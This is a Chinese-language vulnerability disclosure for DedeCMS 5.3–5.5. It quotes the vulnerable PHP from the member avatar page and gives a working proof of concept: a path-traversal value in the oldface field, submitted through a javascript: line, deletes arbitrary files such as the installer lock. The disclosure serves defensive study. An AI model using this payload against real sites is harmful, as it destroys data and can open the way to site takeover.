发布时间:2010-01-05
影响版本:dedecms 5.3-5.5
漏洞描述:
漏洞存在于/member/edit_face.php 12-47还有几个文件也存在,忘记了,代码如下:if($dopost==’save’)
{
$userdir = $cfg_user_dir.’/’.$cfg_ml->M_ID;
if(!ereg(‘^’.$userdir,$oldface))
{
$oldface = ”;
}
if(is_uploaded_file($face))
{
if($faceurl!=”)
{
if( (ereg(‘:’,$faceurl) && !eregi(‘^http:’,$faceurl)) || !eregi("\.(jpg|png|gif)",$faceurl))
{
ShowMsg("你指定的图片网址存在问题!","-1");
exit();
}
}
//删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg)
if($oldface!=” && file_exists($cfg_basedir.$oldface))
{
@unlink($cfg_basedir.$oldface);
}
//上传新工图片
$face = MemberUploads(‘face’,$faceurl,$cfg_ml->M_ID,’image’,’myface’,180,180);
}
else
{
$face = $oldface;
}
$query = "update dede_member set face = ‘$face’ where mid='{$cfg_ml->M_ID}’ ";
$dsql->ExecuteNoneQuery($query);
ShowMsg(‘成功更新头像信息!’, $backurl);
exit();
}
利用poc:在 "设置个人资料" 中的"用户头像"中先上传一张图片,上传后查看源代码 搜索 oldface ,找到其值,这里为/uploads/userup/2/myface.png 接着 回到上传 选择刚才上传的图片,不要点上传修改/uploads/userup/2/myface.png为要删除的文件的相对地址,如/dedecms/uploads/userup/2/../../../install/install_lock.txtjavascript:document.form1.oldface.value=’/uploads/userup/2/../.. /../install/install_lock.txt’;document.form1.submit();
标签分类: 安全漏洞
当你感到悲哀痛苦时,最好是去学些什么东西。